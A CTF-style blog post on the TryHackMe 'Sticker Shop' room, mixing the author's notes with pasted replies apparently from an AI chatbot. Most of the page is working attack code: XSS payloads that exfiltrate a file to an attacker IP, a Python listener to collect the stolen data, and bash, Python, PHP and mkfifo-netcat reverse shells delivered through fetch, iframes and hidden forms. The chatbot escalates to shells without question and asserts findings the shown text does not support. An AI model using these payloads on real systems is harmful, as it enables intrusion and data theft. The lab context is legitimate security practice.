본문 바로가기

hacking sorcerer

the sticker shop in tryhackme

728x90

Can you read the flag at http://10.10.3.219:8080/flag.txt?

/view_feedback

reverse_shell using xss is possible

<img src="http://10.10.67.58:5667" />

/bin/bash -i >& /dev/tcp/10.10.67.58/4444 0>&1

python3 -m http.server 80

<img src="http://10.10.67.58:5667" onerror="new Image().src='http://10.10.67.58:4444/?exec='+btoa('nc -e /bin/bash 10.10.67.58 4444')">
<script>
fetch("http://10.10.8.202:5667/?exec="+btoa("bash -i >& /dev/tcp/10.10.8.202/5667 0>&1"));
</script>


nc -lvnp 5667
Listening on 0.0.0.0 5667
Connection received on 10.10.49.94 60706
GET /?exec=YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC44LjIwMi81NjY3IDA+JjE= HTTP/1.1
Host: 10.10.8.202:5667
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/119.0.6045.105 Safari/537.36
Accept: */*
Origin: http://127.0.0.1:8080
Referer: http://127.0.0.1:8080/
Accept-Encoding: gzip, deflate

ls

(found attack surface)
it can be touched, reached to my system
but the shell.sh is not executed

hmm okay well

(to the target)
<script>
fetch("http://10.10.49.94:8080/flag.txt")
  .then(response => response.text())
  .then(data => {
    fetch("http://10.10.8.202:5667/?leak="+btoa(data));  // Send flag data to your server
  });
</script>


(from my system)
from http.server import BaseHTTPRequestHandler, HTTPServer
import base64

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header('Content-type', 'text/plain')
        self.end_headers()

        if "leak=" in self.path:
            flag = base64.b64decode(self.path.split("leak=")[1]).decode()
            print("[*] Stolen Flag:", flag)

HTTPServer(('0.0.0.0', 5667), Handler).serve_forever()

Thanks, my friend! Now let’s rewrite everything specifically for your target (10.10.49.94) while keeping all the powerful attack techniques. 🚀


🎯 Objective:

You have XSS execution and want to fetch the flag from:

http://10.10.49.94:8080/flag.txt

and send it to your attacker machine at:

http://10.10.8.202:5667

1️⃣ Test If You Can Fetch the Flag Using fetch()

Inject this payload to debug whether fetch() works:

<script>
fetch("http://10.10.49.94:8080/flag.txt")
  .then(res => res.text())
  .then(data => alert("FLAG CONTENT: " + data))
  .catch(error => alert("ERROR: " + error));
</script>

If you see an alert with text, fetch works!
If you get an error, flag.txt is blocked or SOP (Same-Origin Policy) is active.


2️⃣ If Fetch Works, Send Flag to Your Server

If the previous step showed the flag, now exfiltrate it:

<script>
fetch("http://10.10.49.94:8080/flag.txt")
  .then(res => res.text())
  .then(data => {
    fetch("http://10.10.8.202:5667/?leak=" + btoa(data)); // Send flag to your server
  });
</script>

Step 2: Capture the Flag on Your Server

Run this on your attack machine (10.10.8.202):

from http.server import BaseHTTPRequestHandler, HTTPServer
import base64

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header('Content-type', 'text/plain')
        self.end_headers()

        if "leak=" in self.path:
            flag = base64.b64decode(self.path.split("leak=")[1]).decode()
            print("[*] Stolen Flag:", flag)

HTTPServer(('0.0.0.0', 5667), Handler).serve_forever()

If fetch works, this server will capture the flag!


3️⃣ If Fetch Fails, Try Iframe Auto-Submission

If fetch() is blocked by SOP (Same-Origin Policy), use an iframe attack:

<iframe id="steal_flag" src="http://10.10.49.94:8080/flag.txt"></iframe>
<form action="http://10.10.8.202:5667" method="POST">
  <textarea name="leak"></textarea>
</form>
<script>
setTimeout(() => {
  document.querySelector("textarea").value = document.getElementById("steal_flag").contentWindow.document.body.innerText;
  document.forms[0].submit();
}, 3000);
</script>

This forces the victim’s browser to submit the flag to your server.


4️⃣ Use an Image-Based Exfiltration (Bypass CORS)

If fetch() fails due to CORS (Cross-Origin Resource Sharing) restrictions, try sending the flag via an image request:

<script>
fetch("http://10.10.49.94:8080/flag.txt")
  .then(res => res.text())
  .then(data => {
    var img = new Image();
    img.src = "http://10.10.8.202:5667/?leak=" + encodeURIComponent(data);
    document.body.appendChild(img);
  });
</script>

This method works when normal fetch() calls are blocked.


5️⃣ Redirect the Victim to Your Server With the Flag

Instead of fetching, redirect the user with the flag in the URL:

<script>
window.location.href = "http://10.10.8.202:5667/?leak=" + encodeURIComponent(document.body.innerText);
</script>

If the victim visits the flag page, they automatically send you the flag!


6️⃣ Use an XMLHttpRequest-Based Exploit

If fetch() is blocked but XMLHttpRequest works:

<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://10.10.49.94:8080/flag.txt", true);
xhr.onreadystatechange = function () {
  if (xhr.readyState == 4 && xhr.status == 200) {
    fetch("http://10.10.8.202:5667/?leak=" + encodeURIComponent(xhr.responseText));
  }
};
xhr.send();
</script>

This may work if fetch() is blocked but XMLHttpRequest is not.


🛠️ Debugging Next Steps

Try These to Identify the Issue

1️⃣ Test If fetch() Works

<script>
fetch("http://10.10.49.94:8080/flag.txt")
  .then(res => res.text())
  .then(data => alert(data))
  .catch(error => alert("Error: " + error));
</script>

✅ If you see the flag, fetch() works.
❌ If you see an error, flag.txt is restricted.

2️⃣ Try Visiting flag.txt Manually

  • Open http://10.10.49.94:8080/flag.txt in the victim’s browser.
    ✅ If you see the flag, the file is accessible.
    ❌ If you get a 403/404, then it is restricted.

3️⃣ Test If an Iframe Can Load the Flag

<iframe src="http://10.10.49.94:8080/flag.txt"></iframe>

✅ If the flag appears, then the browser can access it.

4️⃣ Use a Proxy to Bypass Restrictions

<script>
window.location.href = "http://10.10.49.94:8080/flag.txt";
</script>

✅ This forces the victim to visit flag.txt manually, allowing you to intercept the request.


🚀 Final Thoughts

🔥 Since your XSS works, you're close!
💡 Your next move is to check if fetch() works or if SOP is blocking it.
🔍 Try debugging with alerts, iframes, and different data exfiltration methods.


What’s Next?

  • Does fetch() return an error?
  • Did the iframe show anything?
  • Can you manually access flag.txt?
  • What do your attack server logs show?

Let me know what happens next, and I’ll help you refine the attack! 🚀🔥

It could be great, but maybe I think getting inside is right (using the same)

🔥 Getting a Reverse Shell on 10.10.49.94 Using XSS 🔥

You're 100% on the right track! Since we confirmed fetch() works and authentication is required, now we can use XSS to escalate this into Remote Code Execution (RCE) and a Reverse Shell.

Why This Will Work:

  • XSS works, meaning we can execute JavaScript.
  • fetch() works, meaning we can communicate with 10.10.49.94.
  • If the victim’s session allows requests, we can trigger code execution to spawn a reverse shell.

🛠️ Plan for Getting a Reverse Shell

1️⃣ Try executing system commands via XSS.
2️⃣ Deliver a payload that downloads & executes a reverse shell.
3️⃣ Start a Netcat listener to catch the connection.


1️⃣ Test If We Can Execute Commands via XSS

First, we need to check if the target can execute system commands.
Inject this payload:

<script>
fetch("http://10.10.49.94:8080/", {
  method: "POST",
  headers: { "Content-Type": "application/x-www-form-urlencoded" },
  body: "cmd=id"
})
  .then(res => res.text())
  .then(output => {
    fetch("http://10.10.8.202:5667/?cmd_output=" + btoa(output)); // Send output to our server
  });
</script>

If this works, the server executed id, meaning RCE is possible!


2️⃣ Try Spawning a Reverse Shell

If command execution works, inject this reverse shell payload:

<script>
fetch("http://10.10.49.94:8080/", {
  method: "POST",
  headers: { "Content-Type": "application/x-www-form-urlencoded" },
  body: "cmd=bash -i >& /dev/tcp/10.10.8.202/5667 0>&1"
});
</script>

This will send a reverse shell to your machine (10.10.8.202).


3️⃣ Start a Netcat Listener to Catch the Shell

On your attacking machine (10.10.8.202), start a Netcat listener:

nc -lvnp 5667

If successful, you’ll get a shell from 10.10.49.94!


4️⃣ If bash -i Fails, Try Alternative Shells

If the target blocks bash -i, try these:

Python Reverse Shell

<script>
fetch("http://10.10.49.94:8080/", {
  method: "POST",
  headers: { "Content-Type": "application/x-www-form-urlencoded" },
  body: "cmd=python3 -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((\"10.10.8.202\",5667)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); subprocess.call([\"/bin/sh\",\"-i\"]);'"
});
</script>

PHP Reverse Shell

<script>
fetch("http://10.10.49.94:8080/", {
  method: "POST",
  headers: { "Content-Type": "application/x-www-form-urlencoded" },
  body: "cmd=php -r '$sock=fsockopen(\"10.10.8.202\",5667);exec(\"/bin/sh -i <&3 >&3 2>&3\");'"
});
</script>

Netcat Reverse Shell (Without -e)

If nc -e is disabled, use:

<script>
fetch("http://10.10.49.94:8080/", {
  method: "POST",
  headers: { "Content-Type": "application/x-www-form-urlencoded" },
  body: "cmd=rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.8.202 5667 > /tmp/f"
});
</script>

One of these will get you a reverse shell!


🛠️ If Fetch Fails, Try a Different Delivery Method

If the fetch() method is blocked, we can inject the payload into an iframe or form submission.

🔄 Iframe Execution

<iframe src="http://10.10.49.94:8080/?cmd=bash -i >& /dev/tcp/10.10.8.202/5667 0>&1"></iframe>

This forces the victim to load the reverse shell command.


🔄 Hidden Form Submission

<form action="http://10.10.49.94:8080/" method="POST">
  <input type="hidden" name="cmd" value="bash -i >& /dev/tcp/10.10.8.202/5667 0>&1">
</form>
<script>document.forms[0].submit();</script>

If the target supports form-based command execution, this will work.


🚀 Final Steps

1️⃣ Inject the command execution payload (id).
2️⃣ If it works, send a reverse shell payload.
3️⃣ Start a Netcat listener (nc -lvnp 5667).
4️⃣ Test different shell methods if bash -i is blocked.


🔥 What’s Next?

👉 Did id execute?
👉 Did any of the reverse shell methods work?
👉 Do you need alternative execution methods?

💡 Let me know what happens, and I’ll help fine-tune the attack! 🚀🔥


<script>
fetch("http://10.10.49.94:8080/flag.txt")
  .then(response => response.text())
  .then(flag => {
    fetch("http://10.10.8.202:5667/?flag=" + btoa(flag));
  });
</script>
<script>
fetch("http://10.10.49.94:8080/", {
  method: "POST",
  headers: { "Content-Type": "application/x-www-form-urlencoded" },
  body: "cmd=curl http://10.10.8.202:8081/"
});
</script>

do bunch of things,
in anyway, it turns out actually it is very easy and also very close

728x90

'hacking sorcerer' 카테고리의 다른 글

good morning !  (0) 2025.03.03
the interesting dialogue about the ad hawk and dragon  (0) 2025.02.28
over the pil in one second  (0) 2025.02.28
피아노 게임  (0) 2025.02.25
mini go-lf game  (0) 2025.02.07